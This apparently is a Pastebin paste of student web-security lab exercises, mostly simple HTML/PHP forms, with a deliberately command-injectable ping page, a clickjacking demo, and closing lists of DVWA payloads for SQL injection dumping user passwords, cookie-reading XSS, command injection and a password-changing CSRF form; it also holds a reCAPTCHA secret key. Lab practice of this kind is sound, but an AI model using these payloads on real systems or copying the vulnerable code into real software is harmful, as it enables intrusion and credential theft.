Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Experiments:
- <!DOCTYPE html>
- <html>
- <head>
- <script src="https://www.google.com/recaptcha/api.js"></script>
- </head>
- <body>
- <form action="submit.php">
- <input type="text" name="u" placeholder="Username" required>
- <input type="password" name="p" placeholder="Password" required>
- <input type="hidden" name="h1" value="v1">
- <div class="g-recaptcha" data-sitekey="YOUR_KEY"></div>
- <input type="submit">
- </form>
- </body>
- </html>
- Exp_1:
- Index.html:
- <!DOCTYPE html>
- <html>
- <head>
- <title>Exp_1</title>
- </head>
- <body>
- <center>
- <h1>Amrita Cyber Nation</h1>
- <form action="process-login.php" method="post">
- <label>Username:</label>
- <input type="text" required><br><br>
- <input type="hidden" name="registration_type" value="Hidden">
- <label>Password:</label>
- <input type="password" required><br><br>
- <div class="g-recaptcha"
- data-sitekey="6Lfdq9ooAAAAAPnQmjE95iUwPlUcCIbgnfW_P81x"></div><br>
- <input type="submit" value="Login">
- </form>
- </center>
- <!-- reCAPTCHA script -->
- <script src="https://www.google.com/recaptcha/api.js" async defer></script>
- </body>
- </html>
- Process-login.php:
- <?php
- //secret-key
- $secretKey = "6Lfdq9ooAAAAACb8KNJnZeV1uy4zJuSoFEwcVniT";
- if (!isset($_POST['g-recaptcha-response']) || empty($_POST['g-recaptcha-response'])) { exit("Captcha verification failed.");}
- //api-keyaddress
- $response = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$secretKey&respons e={$_POST['g-recaptcha-response']}");
- $isVerified = json_decode($response, true)["success"];
- echo $isVerified ? "Login successful!": "Please complete the captcha verification.";
- ?>
- Exp_2:
- index.html:
- <!DOCTYPE html>
- <html>
- <head>
- <title>Registration</title>
- </head>
- <body>
- <h1>Amrita Cyber Nation Registration</h1>
- <form autocomplete="off">
- <input type="text" name="username" placeholder="Username" autocomplete="off"><br>
- <input type="email" name="email" placeholder="Email" autocomplete="off"><br>
- <input type="password" name="password" placeholder="Password" autocomplete="off"><br>
- <input type="submit" value="Register">
- </form>
- </body>
- </html>
- Exp_3:
- Index.html:
- <html>
- <head>
- <title>exp_3_Bank Login</title>
- </head>
- <body>
- <h1>Bank Login</h1>
- <form id="bankLoginForm">
- <input type="text" placeholder="Username"><br>
- <input type="password" placeholder="Password"><br>
- <input type="button" value="Login" onclick="openBankPortal()">
- </form>
- <script>
- function openBankPortal() { window.open('bank-portal.html', 'BankPortal',
- 'width=600,height=400,location=no,menubar=no,status=no,toolbar=no');
- }
- </script>
- </body>
- </html>
- Bank-portal.html:
- <html>
- <head>
- </head>
- <body>
- <div class="container">
- <h2>Welcome to the Bank Portal</h2>
- <p>Your current balance is: $10,000</p>
- </div>
- </body>
- </html>
- Exp_4:
- index.html
- <html>
- <head>
- <title>Exp_4</title>
- <script>
- function preventActions(e) { e.preventDefault();
- alert('Copy, Paste, and Right Click are not allowed.');
- }
- </script>
- </head>
- <body oncontextmenu="preventActions(event)">
- <center>
- <h1>Bank Tranfer</h1>
- <form>
- <label for="fromAccount">From Account:</label>
- <input type="text" oncopy="preventActions(event)" onpaste="preventActions(event)"><br><br>
- <label for="toAccount">To Account:</label>
- <input type="text" oncopy="preventActions(event)" onpaste="preventActions(event)"><br><br>
- <label for="amount">Amount:</label>
- <input type="text" oncopy="preventActions(event)" onpaste="preventActions(event)"><br><br>
- <input type="submit" value="Transfer">
- </form>
- </center>
- </body>
- </html>
- Exp_5:
- Index.html:
- <html>
- <head>
- <script>
- function validateLocation() { navigator.geolocation.getCurrentPosition(position => {
- fetch(`https://api.bigdatacloud.net/data/reverse-geocode-client?latitude=${position.coords.latitud e}&longitude=${position.coords.longitude}`)
- .then(res => res.json())
- .then(data => alert(data.countryName === document.getElementById('country').value ? 'Success' : 'Incorrect'));});
- }
- </script>
- </head>
- <body>
- <h1>Country Validation</h1>
- <form onsubmit="event.preventDefault(); validateLocation();">
- <label>Country:</label>
- <select id="country">
- <option value="India">India</option>
- <option value="USA">USA</option>
- <option value="Japan">Japan</option>
- </select>
- <input type="submit" value="Verify">
- </form>
- </body>
- </html>
- Exp_6:
- Index.html:
- <!DOCTYPE html>
- <html>
- <head>
- <title>Banking Sign-In</title>
- </head>
- <body>
- <form method="POST" action="">
- <label for="username">Username</label><br>
- <input type="text" name="username" id="username"><br>
- <label for="email">Email</label><br>
- <input type="email" name="email" id="email"><br>
- <button type="submit">Register</button>
- </form>
- <?php
- if ($_SERVER["REQUEST_METHOD"] == "POST") {
- echo "<h2>VERIFICATION PURPOSE</h2>";
- $username = $_POST['username'];
- $email = $_POST['email'];
- echo "Username: $username <br>";
- echo "Email: $email";
- }
- ?>
- </body>
- </html>
- Exp_7:
- Exp_8:
- Index.html:
- <html>
- <head>
- <script>
- function fetchMarks() {
- const name = document.getElementById('students').value; const xhttp = new XMLHttpRequest();
- xhttp.onload = function() {
- const student = Array.from(this.responseXML.querySelectorAll('student')).find(s => s.querySelector('name').textContent === name);
- if (student) {
- const maths = student.querySelector('maths').textContent; const science = student.querySelector('science').textContent; const history = student.querySelector('history').textContent;
- document.getElementById('output').innerHTML = `Maths: ${maths}<br>Science:
- ${science}<br>History: ${history}`;
- }
- };
- xhttp.open("GET", "students.xml"); xhttp.send();
- }
- </script>
- </head>
- <body>
- <h1>Display Student Marks</h1>
- <select id="students">
- <option>John Doe</option>
- <option>Jane Smith</option>
- </select>
- <button onclick="fetchMarks()">Display Marks</button>
- <div id="output"></div>
- </body>
- </html>
- Students.xml:
- <?xml version="1.0" encoding="UTF-8"?>
- <students>
- <student>
- <name>John Doe</name>
- <maths>85</maths>
- <science>88</science>
- <history>90</history>
- </student>
- <student>
- <name>Jane Smith</name>
- <maths>78</maths>
- <science>82</science>
- <history>86</history>
- </student>
- </students>
- Exp_9: Index.html:
- <html>
- <head>
- <script>
- function displayDetails() { fetch('students.json')
- .then(response => response.json())
- .then(data => { const details = `
- Name: ${data.name}<br> Age: ${data.age}<br> Grade: ${data.grade}
- `;
- document.getElementById('studentDetails').innerHTML = details;
- });
- }
- </script>
- </head>
- <body>
- <h1>Fetch From Json</h1><br>
- <button onclick="displayDetails()">Display Student Details</button><br><br>
- <div id="studentDetails"></div>
- </body>
- </html>
- Students.json:
- {
- "name": "John Doe", "age": 21,
- "grade": "B"
- }
- Exp_10:
- Cookie.php
- <?php if(isset($_GET['action'])) {
- switch ($_GET['action']) { case 'set':
- setcookie("user", "John Doe", time() + 3600); echo "Cookie set!<br>";
- break;
- case 'get':
- echo isset($_COOKIE["user"]) ? "Cookie: " . $_COOKIE["user"] . "<br>" : "Cookie not set.<br>";
- break;
- case 'modify':
- setcookie("user", "Jane Smith", time() + 3600); echo "Cookie modified!<br>";
- break;
- case 'delete':
- setcookie("user", "", time() - 3600); echo "Cookie deleted!<br>"; break;
- }
- }
- ?>
- <h1>working with cookies</h1>
- <a href="?action=set">Set Cookie</a> |
- <a href="?action=get">Get Cookie</a> |
- <a href="?action=modify">Modify Cookie</a> |
- <a href="?action=delete">Delete Cookie</a>
- Exp_14:
- <?php
- if (isset($_GET['ip'])) {
- system("ping " . $_GET['ip']);
- }
- ?>
- <form method="GET">
- Enter the IP to perform ping: <input type="text" name="ip">
- <input type="submit" value="View File">
- </form>
- Exp_15: Index.html
- <html>
- <head>
- <style>
- body {
- display: flex;
- justify-content: center; align-items: center; height: 100vh; position: relative;
- }
- iframe {
- position: absolute; top: 50%;
- left: 50%;
- transform: translate(-50%, -50%);
- opacity: 0.1; /* Makes the iframe barely visible */ z-index: 2;
- }
- button {
- font-size: 24px; padding: 15px 30px; z-index: 1;
- }
- </style>
- </head>
- <body>
- <iframe src="target.html" width="200" height="100"></iframe>
- <button>Close the advertisement</button>
- </body>
- </html>
- Target.html:
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>Target Page</title>
- <style>
- body {
- display: flex;
- justify-content: center; align-items: center; height: 100vh;
- }
- button {
- font-size: 24px; padding: 15px 30px;
- }
- </style>
- </head>
- <body>
- <button onclick="alert('Data compromised')">HACK</button>
- </body>
- </html>
- 11. SQL
- a. Always True Scenario -
- %' or '1'='1
- b. Display Database Version, User, Name -
- %' or 0=0 union select null, version() #
- %' or 0=0 union select null, user() #
- %' or 0=0 union select null, database() #
- c. Display all the table field -
- 'union select null,table_name from information_schema.tables#
- d. Display all the column's field -
- 'union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
- 12. XSS
- a. Reflected XSS
- <script>alert(document.cookie)</script>
- <Script>alert(document.cookie)</Script>
- <img src = x onerror =alert(document.cookie)>
- b. Stored XSS
- <script>alert(document.cookie)</script>
- <Script>alert(document.cookie)</Script>
- <svg/onload=alert("hackersid")>
- c. DOM-based XSS
- <script>alert(document.cookie)</script>
- </select><img src=x onerror=alert('XSS')>
- & </select> <Svg onload=alert("hi")>
- reflected xss
- low
- <script> alert("1567")</script>
- medium
- <Script> alert("1567")</Script>
- high
- <img src=x onerror=alert("12345")>
- stored xss
- low
- <script> alert("1567")</script>
- medium
- <Script> alert("1567")</Script>
- high
- <svg/onload=alert("hackersid")>
- 14. Command Injuction
- 127.0.01 | tasklist
- 127.0.01 | wmic bios
- 127.0.01 | whoami
- 13. CSRF
- <form action="http://localhost:8080/dvwa/vulnerabilities/csrf/?" method="GET">
- <h1> Click here to get 100Rs </h1>
- <input type="hidden" AUTOCOMPLETE="off" name="password_new" value="7814">
- <input type="hidden" AUTOCOMPLETE="off" name="password_conf" value="7814">
- <input type="submit" value="Submit" name="Change">
- </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement